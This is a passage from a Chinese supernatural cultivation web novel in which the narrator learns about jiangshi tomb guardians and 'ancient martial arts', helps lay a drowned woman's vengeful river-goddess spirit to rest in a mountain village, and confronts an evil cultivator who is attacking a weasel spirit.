阿梅盯着我,“前段时间有人在附近山上倒斗,结果其中有人失误了,给老尸过了一口阳气,触动了机关,把它弄活了。”
我奇怪,“你是说这东西是墓下的机关?”
我是真的好奇,虽然我没有这方面的经验,但电影总看,还是第一次听到这东西是机关这个说法。
阿梅也奇怪地看着我,她似乎不理解我为啥能一拳打死尸王,却不认识这玩意?
但她还是说了,“嗯,是机关。我们研究过,应该是用药浸泡的尸体,所以百年不化。这东西一般都是用来护墓的。一旦见了生人的气,那药效就会刺激尸体,跟疯狗似的行动。”
我盯着阿梅,我在想这件事的可信度。但我没接触过,所以我觉得她应该没撒谎。
刚才那尸王的身上确实有一股药味,准确地说现在还有呢。
我又说道,“那几个人呢?怎么回事?”
阿梅又说道,“那几个也是墓下的尸体,也都泡了药,但应该是陪葬的。老尸醒了,它们被老尸的药激活,从墓里面出来四处的游荡。”
我沉思了下,这种解释貌似很合理。
阿梅看着我,突然问我,“我叫钱冬梅,你很厉害,你要不要加入我们。我可以帮你推荐,我保证,只要你进来,那就是大队长级别。”
我眯了眯眼睛,她们果然是一个组织。我问,“你们是谁?”
钱冬梅摇头道,“在你没加入进来,没有签保密协议之前,我只能透露这么多。”
我摇头,“那我拒绝。”
钱冬梅貌似并不奇怪,而是笑着说道,“你和他们一样,没加进来之前,也都是先拒绝的。但我想,你未来会成为我们一员的。方便留个联系方式吗?”
我没拒绝,直接留了老家的电话。
钱冬梅看了看我,“还请不要怪我,你的事我需要报备。另外,今天的事,请不要往外说。这些僵尸虽然不是什么怪物,但要是被知道它们存在过,也会引起恐慌的。”
我点了点头,但也是好奇地问了一句,“那你们能处理好吗?”
她笑道,“不要小看我们,这次来的不止我们一个小队,比你强的高手也不在少数。今天晚上就是收网阶段了。”
看着钱冬梅那有点小得意的脸蛋,我笑了笑没说话,一跃而起,离开了这是非之地。
等我回去的时候,天已经蒙蒙亮了。但眼下却没啥睡意,门被我锁上了,也进不去,也不想打扰被我折腾的高月。
我干脆在院子里打坐,修行。随着太阳逐渐升高,我浑身也暖了起来。哪怕冷风吹袭,我竟然也不觉得冷了。
甚至还很享受这种风带来的冷感,让我清楚地感受到外界的情况。
轰!
我突然感觉到了丹田内猛的波动,从丹田延伸到百骸,酥酥麻麻,舒服极了。
那原本凝聚成了水滴的灵气,成倍成倍地增长,最终化成了一株晶莹通透的嫩芽,扎根在我那丹田之处。
等我睁开眼,我深吸一口气,感受着那酥麻过后的磅礴力量,我忍不住狂喜。
“破晓!这是破晓!”如今的我对筑基期有了些心得。
而我也在方士那记忆中了解,方士之所以强大,那就在他的与众不同。而他提到过一个说法,真正的方士,在筑基期会破晓。
所谓破晓,就是走了一条别人不能走的路。但具体是啥,这个方士也不了解,按照他的想法来说,应该是一种顿悟。
但我现在却明白了,破晓,那就是新生。真正的方士,不应该被传统的枝枝蔓蔓压迫。应该是养树,反哺,然后长生。
我越来越觉得是这样,之前我一直纠结筑基期,筑基期后面是什么,如何突破?
随着这道嫩芽的出现,我完全改变了这个想法,方士应该是个没有限制的修道之人。
“准确地说,我们是异类?是修行变异了?还是说,修道本来就是这个样子?”虽然我顿悟了,但新的疑惑也是一大堆。但我道心坚定,接下来我不会去在意什么突破和不突破。
安心地去修炼。
嘎吱。
门被推开了,我看到高月一瘸一拐地走了出来,见我在那打坐,她心疼地走了过来,“冯宁,你咋在外面呢?多冷啊。”
“别过来!”
我急忙制止了高月。
下一秒钟,一道雷猛地劈了下来。我硬挺了过去,结果又来了两道雷,一道比一道重,劈得院子四周噼啪作响。
……
第九十八章古武
疼!
真特么的疼!
我紧紧的咬着牙,忍不住朝着老天看去,我心知肚明这是雷劫。
但这次的雷劫毫无征兆,劈的那叫一个干脆。把我周边都劈冒烟了。
好在!
我忍了下来。
“冯,冯宁,你没事吧!”高月担心地看向我。
我摆了摆手,示意她先别过来,观察了半天,发现没有雷电的迹象了,我才缓缓地站了起来。
高月顾不上自己的疼痛,急忙上前扶着我,心疼的眼泪都掉下来了。
原本我是打算订机票走人的,但这雷来得太突然,劈得我疼了好几天。所以我就又留下来了。
但随着疼痛的消失,我觉得自己更精神了,怎么说呢,精力旺盛,浑身都很舒坦。像是之前我会因为和高月发生了关系,心里面觉得有点小愧疚感,现在一点都没有。
甚至晚上会乐此不疲地给她。
反正,从身体到心理,状态前所未有的好,没有一点的烦心事。
这雷劫消了我的业力?
我有所猜测,觉得就是这样了。
这两天高月一边照顾我,一边出去找工作了。说实话,高月真的是那种贤妻良母,早上给我买热牛奶,中午晚上到点就回来给我做饭。
她温柔,贤惠,像是个妻子。
这天傍晚,她突然拿了一张报纸兴奋地跑了回来。
看她在那傻笑,我问她,“咋了?找到工作了?”
提到工作的事,高月像是被泼了冷水蔫吧了,“没。我想找的工作他们都嫌弃我没上过学,没文化,说我应聘不了。我能找的都是些工厂里的杂工。”
看着高月那失落的模样,我转移话题,“那咋这么高兴?啥事?”
她把报纸递给了我,她说,“是这个,这段时间不是闹僵尸嘛。报纸上说是个乌龙,说是下面的村子有人被狗咬了,狂犬病。事情已经得到解决了。哎,晚上我也能四处走走了。”
我拿过来一看,还真是这事,我摇了摇头,也没说啥。
“冯宁,你为啥摇头啊?这可是大好事啊!你是不知道,我后来才知道那僵巴儿是啥,吓得我晚上都不敢出去了。这下子真相大白了,我也能出去走走了。”高月拍了拍胸脯道。
报纸对折,看着高月那丰润了不少的身材,我心里倒是有点骄傲,这可都是我的杰作。
别看高月老老实实的,有些事做起来还是很疯狂的。
所以我只能配合她了。
“你,你看啥。”见我看她,高月脸色一红。
我咳嗽了两声,虽然我俩有了那关系,但身份上啥都没有确认,名不正言不顺的,所以还是有点不适应。
所以我随手指了指报纸上写的话说道,“我在看这个新闻,说是今年下岗的人更多了,上面说支持大家自主创业。”
提到创业,高月拿过了报纸,她说,“创业?我也可以创业吗?是不是要花很多的钱?”
我就随口一说,但看到高月那充满期待的眼神,我说,“高叔高婶都是裁缝,我见你也做过衣服,我觉得你能行。”
得到了我的肯定,高月重重地点了点头,“嗯,我决定了,我要做裁缝,我要做这个世界上最好的裁缝。”
因果这个东西很奇妙,你现在种的因,未来会结出啥样的果,谁也不知道。就像高月,她突然从东北来到了蜀地容城,然后做出了这次的决定。
谁都没想到,这个大家眼中的笨女孩,未来会走到那种地步。
也是从高月身上我学到了一个道理,不要去小瞧任何人,也不要小瞧自己,未来真的是无限可能。
因为一张报纸说创业,高月开始了自己的计划,她打算租个小店面,一步步做起。她变得忙碌了,我也养得差不多了,于是我们分开了。
这次高月没有在像之前那样柔柔弱弱的,她坚定的对我说,等我们下一次见面,她一定会好起来的。还会把那两万块还给我,请我吃大餐。
虽然从高月租房那走了,但我并没急着离开容城,我去了容城的江堰,又去了高月说的春西路火锅店,总之逛了一圈。
“是你?”说来也巧,我在春西路这碰到了钱冬梅。
她换下了那套中山装,换上了羽绒服牛仔裤,看上去青春靓丽的。
“额,你好。”我笑道。
“你好,你这打招呼的方式还蛮特别的。东北人都这样打招呼吗?”她说。
“额,我不知道。我应该是见到漂亮女孩害羞吧。”我认真地思索了一下,觉得应该是这样。
“啊,那你岂不是连女孩的手都没摸过?”钱冬梅觉得我可怜。
“这个摸过。”说实话,放在那天晚上,那个队长说保护人民,而这个姑娘真的奋不顾身地保护我,我觉得她是个古板的姑娘。
结果她居然这样开放,弄得我有点招架不住,顺着她的思路在思考她的问题。
我觉得她有点瞧不起人了,我虽然沉默,不喜欢说话,但男人的事都做过了。摸个手算个屁。
“你!”她还想追问啥,我急忙伸手说,“打住,美女,你有啥事吗?没事我要去订机票了。”
“啊,你要离开容城?”钱冬梅惊讶。
我点了点头,这次没说话。她却突然说道,“有,我下午要去一趟容城下面的村子做调查,那说是晚上有啥怪动静。你不是看事的嘛?能不能跟我去一趟?”
我摇头,“不能。”
她奇怪,“为啥啊?这可是在做一件大好事。我们队里会感激你的。”
我说,“我们不熟。”
钱冬梅咬了咬嘴唇,气鼓鼓的。那张娃娃脸,看上去像个受气的小孩子。
我没再理会她,在她面前暴露一些实力,那还是我故意的。我本来只是想着利用她,看能不能得到一些有用的信息。
至于无偿帮忙啥的,我不感兴趣。
“你,你别走,我给你钱,这样行吗?”钱冬梅说完叫住了我,掏出五十块递了过来。
嗯?
我觉得她有点不尊重我啊!
“你,你是觉得不够嘛?那你想要多少啊。”钱冬梅咬了咬嘴唇说。
“你有多少?”我问。
“我就这五十啦,本来是一百零五块的工资,但我买了好看的衣服和鞋子,所以就剩下这些了。”她说。
我盯着她的眼睛,这姑娘眼神清澈,不像是撒谎,还真是遇到了一股清流呢。
当然,我可不是那种因为她是清流就白做事的人,我想了想说道,“五十不够,我想知道一些事,可以当这次帮忙的筹码。”
钱冬梅攥紧了五十块,警惕地看着我,“队里的事,你不能知道。”
我摇头,“不是这些,是你身上的能量,那是啥?”
她疑惑,“能量?你说的是古武吧?”
“古武?”我第一次听说。
……
第九十九章坑货
见我对古武感兴趣,钱冬梅倒是疑惑,“你那么厉害不知道古武吗?”
我摇头,“不知道。”
钱冬梅盯着我的眼睛看了半天,随后无奈道,“古武,就是古人习的武。”
我疑惑,“还有呢?”
钱冬梅又说道,“没有了。”
我无语,“你的意思是说,你们学了古人习武,然后打僵尸?”
说实话,虽然古武这玩意在我听来很新奇,但是他应该就是武功吧?处理这种特殊事件,我觉得武功有用处,但用处肯定不大。
这有点狗拿耗子多管闲事的感觉。
钱冬梅俏脸不好看,“你,瞧不起我们学古武的?”
我摇头,“不是瞧不起,而是觉得有点不可思议。一个习武的?怎么打怪物?”
钱冬梅撇了撇嘴,她突然伸出手来,然后看了看四周,发现没啥人,朝我左边打了一拳。
呼。
那拳头带着拳风,似刀子在我脸庞划过,虽然没有伤到我,但确实有一股力量。
我惊奇,因为除了这拳风之外,我看到她那拳头上散发着淡淡的蓝光。
没错,我绝对没有看错,那是淡淡的蓝光。
打完这一拳,钱冬梅得意地看向我,“怎么样,古武没有你想的那样弱吧。那天要不是碰到了尸王,我一个人就能对付一个僵尸!”
我点了点头,“我还以为古武是那种拳脚上的功夫呢。”
钱冬梅摇头,“我们确实也有练功,但不太一样。古武能运用自然的能量,但功夫不行。不过……”
她又停顿了下说道,“你也别小瞧功夫,真正的功夫都是杀人技,我们队里就有一位功夫宗师。我见过他用手劈开过精怪!”
说完,她突然愣住了,急忙捂住了嘴巴。
我笑了笑,这姑娘嘴上说不透露秘密,但我随便几句话就套出来了不少东西。
说实话,这会的我对于这姑娘的话虽然有些震惊,但并没有全相信。
直到后来我碰到了那个功夫宗师,那才叫真的震撼。也是那时候我明白了一个道理,什么叫做当一件事做到极致,真的能震碎三观。
那位实在太猛了。但可惜的是,那位老爷子很强,却没有逃过死亡的宿命。
当然,这些都是后话,先说眼前的。
我认为我得到了一些想要的消息,反正回老家也没啥事,索性就陪她去了一趟那村子。
开始我以为她口中的下村不远呢,结果我们光坐大巴车坐了六七个小时,然后又走了近两个小时的山路才到地方。
而这女人说好的五十块,也变成了过几天给我,她说给了我就没路费了。
天都黑了,我们总算到地方了,这是个叫河源村的山中村,周围有一条河,四面都是大山。等到了地方钱冬梅突然对我说没地方住,说让我搭建个临时庇护所对付一宿,明天早上就去做调查。
我诧异地看向她,总觉得这女人有点坑人,“你来做调查不应该提前安排吗?”
钱冬梅用那张娃娃脸看我,“这是我自愿来的,组织没给费用。”
我倒吸一口凉气,我突然有点理解了那个方士临死之前为啥那样狂怒了。因为真的是坏人绞尽脑汁不如蠢人灵机一动啊。
我居然被一个蠢货带到了大山里,然后还要在大山里睡一个晚上?
然而这都不算啥,这女人接下来的话我差点没吐血,她说好像要下雨了。结果真就下了雨了。
来都来了,我也没计较,但为了避免衣服被淋湿,我运转道力,护住了那衣服。
随后,我真就跟这个女人四处找木头啥的,在林子里搭了个庇护所对付了一宿。
虽然我不是娇生惯养的,但在这阴冷的天气下,又是山里的气候,真的睡不着。索性在庇护所下打坐修炼了一个晚上。
还别说,真有收获。我发现这地方的灵气特别充足,那嫩芽像是如鱼得水,贪婪地吸收着灵气,一个晚上过去,嫩芽看上去晶莹剔透的。
直到一缕阳光照了进来,我才睁开眼睛,发现钱冬梅正在打量我。
“你是怎么做到的?一夜过去了,衣服一点没湿?”她惊奇地看着我。
但眼下我也在盯着她,我忍不住问她,“你为什么会有雨衣?还有睡觉用的睡袋?”
钱冬梅说,“我包里的啊。这是我们做调查的必需品。”
说真的,人无语的时候会笑的,我笑了,笑得懒得跟她说话。
还好,这女人还算有良心,给我拿了一瓶水,又给我两块压缩饼干,我暂时原谅了她。
而在喝水吃饼干的时候,她也才跟我说了这边的情况。她说队员们有人来过这,说是水里面发现了东西,担心是水猴子害人,所以希望有人来看看。
但这种东西需要队长来接任务,可小队最近事很多,她就请了假,私下来处理了。
我奇怪,“那发现的人不能处理吗?”
她摇了摇头,“大家都很忙,每个小队都有自己的任务。像这种都是在执行任务的时候发现的,只能丢给别人。”
听了她的话,我对这个组织又有了一些了解,规模应该不小,另外就是做事规章有度。
对于这个坑我的姑娘,我反而很有好感。她跟高月有点像,呆呆的,执拗,做的事也不被人喜欢,在别人眼里很蠢。
其实不然,她比任何人都要纯粹,没有私心。
“等等,你刚才说是有水鬼?”我才反应过来,她刚才说这有水猴子,我给略过了。
说实话,我也不知道是南北差异的原因,还是我跟钱冬梅沟通起来有点费劲。她开始说的是有动静,我以为是又有僵尸啥的呢。
结果说来说去有动静指的是水猴子,也就是水鬼。
“嗯,你们那应该叫水鬼,我们这叫水猴子。这东西吃小孩,大一点的还会把大人拉进去淹死。所以得尽快处理。”她点了点头。
我没说话,要是水鬼的话,还真的有点麻烦呢。因为,我水性不太好。
东北长大的孩子,哪怕家里靠江,也都是个旱鸭子。因为从小到大听到最多的话都是离水远点。
还有就是老阴山的事,水下我有点阴影。但来都来了,就当积阴德了,帮这河源村做点事。
……
第一百章河神
钱冬梅拿出了个罗盘,又在右手上缠了一条黑不拉几的绳子,在我们吃过东西后,沿着河往村里面摸。
对付水里面的东西我没有经验,我觉得她很专业,所以跟了上去。
沿着河岸往里面走,那罗盘的指针来回地转,说实话,我看不懂这东西。所以小声地问她,“怎么才算找到水鬼?”
钱冬梅一边认真地盯着罗盘往前走,一边小声跟我说,“罗盘不是用来找水鬼的,是用来确定四周有没有东西的。看磁场,一般来讲,像水猴子这种东西会自带磁场,一旦罗盘上的指针混乱,那就说明水下有东西。”
看得出来,钱冬梅虽然是个坑货,但对待事情都很认真,她讲得很细致,我听懂了。
我点了点头,本来想问那绳子是干啥的,因为我在那绳子上感受到了一股道家的能量。
但看到她似乎发现了啥,我就没再问。
“咋了?”我问。
钱冬梅停下了脚步,脸色有些不好看,“有东西,好像,好像不是水猴子?”
我往前看了一眼,钱冬梅手上的罗盘指针,逆时针飞速地旋转,波动特别大。
这代表着附近的磁场很强。
闻言,我运转道力,双眼用力,朝着那水下看了过去。
我看到水下确实有东西,但因为水的缘故,看不太清楚。
我说,“底下有东西,但我也看不清是啥。”
我看向了钱冬梅,钱冬梅也在看我,她说,“在不清楚里面是啥的情况下不能冒然下水,水下的东西远比地下的要厉害。暂时只能观望,看它会不会上来。”
说完钱冬梅又凑到我耳边,“你离远点,水下的东西精得很,我布个陷阱,在这当诱饵。”
我点了点头,这种事小心点肯定没错。我也想看看她怎么布陷阱的。
我退后了大约五六米远,这块刚好有块大石头,我蹲了过去,探脑袋看她。
钱冬梅把那绳子系在了岸边的树上,一只脚捆着自己的大腿,然后她在那来回地走。
等了大约三分钟,她又有了新的动作,她用小刀拉破了手掌,故意把那鲜血滴在了水里。
这还真把自己当成诱饵了。
但很快,一上午过去了,水里面没有半点动静。钱冬梅转头朝我摇了摇头,我正准备站起来过去。
咕噜噜!
结果我看到水面上冒出了泡泡,一个黑漆漆类似于球状的东西从那冒了出来。
那是个人头。
脑袋一半浮在水上,一半浮在水下。那半张脸看上去像是个小孩,眼睛里面空洞洞的,着实有点吓人。
不好!
钱冬梅转身要朝着我走过来,那东西突然消失了,然后等她再出现,已经一把抓住了钱冬梅的脚腕往下托人了。
扑通!
她被脱下了水!
我一个箭步冲了上去,眼看着钱东北要被拖到水底,我一把拉住了她胳膊。
咕噜噜!
在往上拽的时候,钱冬梅喝了两口喝水,朝我喊,“不是水猴子,是河神。”
河神?
我的第一个反应,河神不应该是供奉吗?怎么来害人?
但眼下顾不上那么多了,我催动道力,双眼用力,随后一个‘靈’字加持,朝着那拉扯的身影打了过去。
结果!
那东西居然没事。
接着我又试了试,我那道法似乎失灵了,这种事还是头一次见。
既然失灵了!
那我就来狠的!
我一咬牙,一边用力地拉着钱冬梅,另一边蓄力,打算一拳把这河水轰开。
咕噜噜!
就在这时,钱冬梅又被我拉出了水面,她一身的古武在水下没用,而因为挣扎,已经筋疲力尽了。
她把头露出水面,朝我用力地喊,“别再拉了,我的腿被吸住了,再拉我就被分尸了。用绳子抽它,抽它……”
听她这样说,我才意识到下面的力越来越大,再这样下去,还真会把人扯成两段。我愣神之际,松开了手,她一瞬间就沉下去了。
我哪里还敢犹豫,急忙解开树那头的绳子,然后猛地朝着河水抽了下去。
啊!
我听到了惨叫声,接着看到那河水冒起了泡泡,一道道墨绿色的脓液夹杂着鳞片浮了上来。
有用!
我惊奇了。
但此刻,已经看不到钱冬梅的身影了,我不敢怠慢,连续抽了七八下。
惨叫声不断,直到看到水下那东西一溜烟地跑了,我才松了口气。
“钱冬梅!”我叫她,但她没有反应,我也看不到她。
冷静!
一定要冷静!
我强行冷静了下来,我刚才那几下子,那河神肯定顾不上钱冬梅,她肯定还在河下面。
绳子!
我突然想了起来,绳子除了系在了树上,还系在了她的大腿上。
想到这里,我不敢在耽误,先是轻轻地扯着绳子,直到发现绳子发沉了,我才用了力气。
咕噜噜!
随后我看到那水面上像是烧开水似的冒泡泡,水下终于有了人影。
是钱冬梅!
但此刻我不敢怠慢,一边把她往上拉,一边注意四周的动静。因为我心里很清楚,钱冬梅在水下已经快十分钟了,要是那东西来捣乱把她拖下去。
她必死无疑!
哗啦!
好在那河神没出现,我把她给拉上了来了。但此刻的钱冬梅脸色铁青,没一点动静。
我赶忙把她弄上岸!
“钱冬梅,钱冬梅!”我用力地晃她,她也没反应,我拿出玉佩救她,但那玉佩的能量根本进不去。
死了?
说实话,我有点慌了。但好在我足够镇定,我想到了自己溺水的时候,当时好像看到大哥二哥他们按压我的胸口。
我还吐了水。
但具体咋回事实在记不住了!
“我知道了,打她胸!”我觉得钱冬梅肯定没死,应该是窒息假死。但再不救她就真的死了。
死马当活马医!
我一只手把她拎起来,另一只手化成拳头,朝着她胸口打了过去。
咳!
一拳下去,钱冬梅吐了一口水,她似乎有动静了。
果然有用!
我松了口气,但拳头却没停,一拳又一拳地,打胸,偶尔打她肚子。
有时候见她不吐水,我打的就狠了点。直到吐水为止。
也不知道过了多久,我发现她不吐水了,竟然吐血了。我刚要下拳,她突然抓住了我的拳头,朝我摇头:“大哥,别打了,再打真死了!”
……
第一百零一章办法
见到把钱冬梅从死神的手里拉了回来我很高兴,但钱冬梅貌似不太高兴,她大口地喘着粗气,嘴里面的血都吐在了身上,那眼神像刀子。
“这绳子很厉害啊,真就把你给救出来了。”我看了眼那绳子,难免有些好奇。之前觉得感觉绳子很特别,没想到这样厉害。
我觉得自己虽然实力还行,但拿那个河神貌似没啥办法。但这根绳子却做到了,所以很意外。
钱冬梅深吸一口气,然后冲我说道,“谢谢你救了我。虽然把我锤了个半死,但总算还活着呢。”
说完她又拿起那绳子说,“这绳子是专门对付河里面怪物的法器,用纯黑的狗毛一点点编的。黑狗邪,同样也震慑这些邪物。”
黑狗邪这件事我倒是清楚,但狗毛有这种作用我有点意外。而我因此推断,这世间的万物应该是相生相克的,所以才有这种效果。
“哎呦!”钱冬梅想要起身,却突然趴在了我怀里,她疼得那娃娃脸都拧在了一起。
“咋回事?”我奇怪?
“你应该是把我肋骨打断了。”钱冬梅很无语地看着我。
“啊?我应该没怎么用力啊?”我奇怪了。
“你可能自己觉得没用力,但我是真的疼啊。我不是被你救醒的,我是疼醒的。”钱冬梅埋怨地盯着我。
说实话,我觉得自己很无辜,但看着她那可怜巴巴的样,我又觉得这事很滑稽。
我居然当了一回‘猪’队友。但我发誓,那真的是个意外。
我掏出了那绿玉。
钱冬梅惊讶地看着我,那眼睛睁得老大,似乎都忘了疼痛,“道家的医玉?你是什么人?怎么会有这种极品的东西?”
我有些意外,钱冬梅居然认识这东西,想到了它的来历,我如实回答,“一个朋友送的。”
钱冬梅不信,“不可能,这是道家的至宝,怎么会送人?”
我说,“你不信就算了。我先给你治疗吧。”
我把道力注入在绿玉当中,那晶莹剔透的绿光没入了钱冬梅体内。和上次一样,我看到了钱冬梅的伤口,确实被我打断了两根肋骨。
随着绿玉的治疗,那两根肋骨有接上的痕迹,但最终却没有完全修复,但肯定有效果。
完事后我收起了绿玉,“你动弹试试吧,应该有点效果。”
钱冬梅收起了那惊讶的表情,稍微活动了一下,“还疼,但能动了。”
我说,“那河神是个啥东西?我感觉拿她没办法。”
钱冬梅似乎还在意外我那医玉,但提到河神,她说道,“说起来河神也是水鬼,但因为怨气太重,然后得了机缘,也就成了‘神’。这东西只要在河里,就算天师府的老天师来了,也拿她没办法。”
“那我们走?”我问。
钱冬梅摇了摇头,“她已经开始害人了,我们要是走了,河源村不会安宁的。对付河神,我倒是知道一个办法,替她把那口怨气出了,然后给她盖个庙,有香火就好了。”
听了钱冬梅的话,我愣了愣,这路数我熟悉啊。当初在长白山我就干过这事。
但那六尾狐也挺狠的,最后还是把戴老板一家弄死了。
虽然我这样想,但我还是搞错了。我以为钱冬梅是要继续找河神,然后让河神说出它的冤屈。结果却是钱冬梅进村挨家挨户地走访调查有关河神的事。
还别说,在河源村的村志上,真的发现了些门道。应该是八十年前,村里把一个不守妇道的女人浸了猪笼。
记载上说是那女人有老公有孩子,当着孩子的面偷汉子,结果被丈夫抓了现行。而村里面有规矩,这种事要浸猪笼,她被活活淹死了。
村志上是这样的记载的,但村长却说这事也有蹊跷。女人死了之后,头七他丈夫就娶了新女人。
我跟钱冬梅对视了一眼,应该就是这事了。然后钱冬梅问那家人后来咋样了,村长说早就搬走了,具体去哪他们也不知道。
钱冬梅想了想,把发现河神的事跟村长说了,村长的脸色有些不好看。
“我的乖乖,咋搞啊!”村长脸色难看。
“给它立个庙,不要断了香火。它看到你们的诚意,或许就好了。”钱冬梅说。
“立,这就立!我去动员!”村长起身道。
说实话,这件事倒是很顺利,村民们得知有河神,也都跟着参与进来。
拿砖填瓦,下午就把这事给弄好了。
看着庙里面供着的河神灵牌,我说,“这样就行了吗?”
钱冬梅摇了摇头,“我也不知道。那一家子都搬走了,找不到他们,也给它复不了仇。只希望它不计较吧。”
说完,她还小声地跟我说,“我在看到村志上写的浸猪笼的时候,我汗毛都立起来了。因为我被托到水底下的时候,我看到那猪笼了,我当时跟河神的尸体面对面。”
听她这样一说,连我都感觉到一丝惊恐。庙建在了村子口,河就在对岸。我下意识地朝着河水里看了一眼,而恍惚间,我又看到了那露着半个脑袋的河神。
村民们按照钱冬梅的说法拜祭了河神,点了香火,之后我们被请到了村长家吃饭。晚上,也就住在了这地方。
深夜时分,我听到了门外有动静,啪嗒啪嗒的,像是滴水的声音。我起身,批了一件外套就出去了。
在门口,我看到了一个漂亮女人,她浑身湿透,但美貌依旧。
“你是河神?”我疑惑,虽然我能看到她,但我可以确认她不是本体,更像是一道水走了过来。
她点了点头,随后跪在了地上,给我磕了头。之后,她化成了一道水消失了。
我不明白这是啥意思,但我觉得应该不是坏事,所以转身又回屋睡觉了。直到第二天早上我跟钱冬梅说了这事,她震惊地跟我说,“啊,传说中帮了河神,河神会跪谢,这种事居然是真的?那就是说,我们解决了?”
我一脸奇怪,“你不会是根本没把握吧?”
钱冬梅脸不红心不跳,“我也是听说这样能行的。但不对啊,她为啥找你不找我啊?明明是我想出来的办法。”
听了钱冬梅的话,我也觉得有道理。但事实上就是那河神找我没找她。
解决了这件事,我们就离开了河源村,在临走之际,村长村民们来送我们,我跟钱冬梅挥手。
就在那下一秒,我在人群中又看到了那‘河神’,她站在村长的身后,眼神空荡荡的,她微微地张开了嘴巴,那是一张裂口嘴。
而四周的村民们,却没人能看到她!
……
第一百零二章再遇邪修
我不知道河神的出现意味着啥,但她应该没有恶意。我有种感觉,她似乎在试图融进村子里。
这件事也就到此为止了,我转过了头,跟着钱冬梅上了大巴车,等到了容城我们就分开了,而我也买了机票,第二天赶回了东北。
折腾了一圈总算是回家了,随着新年的到来,我突然发现我的实力在突飞猛进。
貌似从容城回来之后就这样了,怎么说呢,以前修炼的时候有瓶颈在卡着。一旦到了那种地步,修炼的速度自然而然的就慢下来。
现在不同,我好像解锁了限制器,只要我修炼就会有收获。那嫩芽虽然没啥变化,但我的道力却在增加。
这种感觉很好,我甚至觉得自己是不是应该去老阴山找那山尸较量一下。但最后我摇了摇头,否定了这个想法。那东西太邪门了,没有绝对能拿下的把握,还是低调点!
很快新年到了,这次家里倒是大团圆,所有人都回来了。
倒是二哥还是那样,吊儿郎当的,但对我的态度倒是变了不少,说起话来也客气了。
说实话,我没啥感觉,我要还是那个傻子,他肯定还是那态度。所以我还是懒得搭理他。
年夜饭这天,家里所有人都盯着我。我知道他们想的是啥,想着我能帮忙算算,看看事,无非就是这些。
但我全都给拒绝了,我不是算命的,也没那个义务。虽然我直接拒绝了,但他们也没说啥。连大姐也全程赔笑,大姐夫也没闹出啥幺蛾子,总之,安安稳稳过了个新年。
欢欢更壮实了,那腱子肉都有线条了,明明是一条普通不过的土狗,现在看上去跟牛犊子似的。大姐,二哥他们也是第一次见到欢欢,说想把它带走,当个种狗养着。
得知是我养的,他们这才闭上了嘴。
吃了顿年夜饭,转眼就初三了,大哥大姐他们都去走亲戚,我不喜欢热闹所以没去,带着欢欢四处溜达。这次我把‘风火奇门’这套阵法念个了欢欢听。
谁知道欢欢在那汪汪了两声,前爪往地上用力的踩了三下,前方突然就安静了下来。我往前走竟然被风吹火烧。
我愣住了,我说,“欢欢,你一遍就会了?”
欢欢点了点头。
随后我又把‘五雷诀’念给了它,欢欢用力的吸了口气,前爪子使劲地往地上刨。但弄了半天,倒是没有啥动静。
然后欢欢可怜巴巴地看着我,朝我摇了摇头。
“已经不错了。”我摸了摸欢欢的头。
虽然没学会五雷诀,但欢欢的天赋已经很牛逼了。虽然是我无意间点化它开了灵智,但能有现在的实力,还是他自己的功劳。
但我也在想,这土狗是不是都有这本事呢?
“汪汪汪。”欢欢突然叫了起来,它看了看我,又瞧了瞧远处。它眼神焦急。
“嗯?”我也感觉到了不对劲,如今正是冷的时候,远处的大地白雪皑皑望不到边。
但我却闻到了大地那边传来了一丝血腥味道。
很显然,欢欢也发现了那边有问题,但它貌似目标更明确。
“去看看。”得到了我的命令,欢欢像是离弦的箭,直接窜了出去。
我也紧随其后。
随后,在那大地的深处,看到了有个人正在大口地吃着活物,周围全是腥味,血迹斑斑。
在看过去,在那人的面前有个黄皮子,大口地吐着鲜血,奄奄一息。
怪不得欢欢焦急呢,这不是陈皮吗?
“道……长。”陈皮见到了我,在我耳中传音,它看上去非常虚弱,没有一点精神头。
我点了点头算是回应,然后把目光落在了那黑衣人身上,他也发现了我,正面朝我看了过来。
这人从雪地上站了起来,个子足有两米多高,大手大脚,像是个怪物一样。
他的脸上都是刺青,根本看不出本来的面目。
“不想死的,滚!”他喘着粗气,跟吞云吐雾似的。
“汪汪汪!”欢欢朝着它呲牙。
“找死!”他突然动了,朝着欢欢就要轮巴掌,这一巴掌直接卷起了大地里的雪。
欢欢也不怕,迎着就上去了。
砰!
随着那大手撞在了欢欢的身上,发出了闷响声,就跟关铁门似的。
“开了智的土狗!好东西,好东西,把你吃了,我能恢复如初!”男人惊讶,脸上露出了贪婪之色。
这是把欢欢当盘中餐了!
男人突然动了,庞大的身躯却非常的灵活,他一跃到欢欢面前,一双大手朝着欢欢拍了过去。
欢欢一步闪开,他扑了个空。
“居然会步伐?”男人怔了怔。
咚咚咚!
欢欢很会抓时机,来到男人面前三脚踩在雪地上。只见那男人面前卷起了似刀子的狂风,直接刮破了男人的脸皮。
“阵法,你会阵法!”男人还在吃惊呢,欢欢又来了三脚,这下子地面突然燃起了火焰。
“啊啊啊!”男人猝不及防,整张脸都烧伤了。他急忙后退,这才避开了那阵法。
“啊啊!你找死啊!我要生吞了你!”说完,男人突然趴在地上,他的脑袋鼓起,一双眼睛凸出,嘴巴张得老大,血盆大口。这哪里还像个人,完全就是个怪物。
然后它用力地吸气,周围突然形成了一股吸流,力量极大,欢欢一个没站稳就朝着它嘴巴飞了过去。
它的嘴巴越来越大,下巴都裂开了,看那样子一口能把欢欢吞下去。
男人面目狰狞,眼看着欢欢要到他嘴边了,我动手了,一步过去,凌空一脚踩在了他的嘴上。
它猝不及防,肚子因为吸收了空气鼓了起来,用一种恐惧的眼神盯着我。
随后,欢欢一个转身跳到了他对面,呲牙咧嘴的。
我给欢欢个眼神,示意先不用动手。我松开了脚,他那口气吐出了出来,猛地后退两步,警惕的盯着我。
“你,你是道士?”他眯了眯眼睛。
“我想知道你是个啥?”我疑惑,我觉得这人身上的气息有点熟悉,但是不记得为啥熟悉了。
“我想起来了,就是你在金友殡葬坏了我的好事!”他冷漠道。
“我也想起来了,你就是那个邪修吧?被我伤了还敢祸害!”我冷冷的说道。
“你……我跟你无冤无仇,你为何又来害我好事?”他咬了咬牙,应该是觉得打不过我,所以用一种质问的口气。
“无冤无仇?你差点害了我最好的朋友?你跟我说无冤无仇?你差点吃了我大侄子?你跟我说无冤无仇?”我冷冷说道。
“那个女人我知道,但你大侄子是谁?我在黑城没吃过人!”他疑惑。
此刻,陈皮用尽力气举了举手,然后又趴那了。
“黄皮子是你大侄子?你是黄大仙?不可能,你身上没有大仙的气,你连道士的气都没有。”他脸色难看。
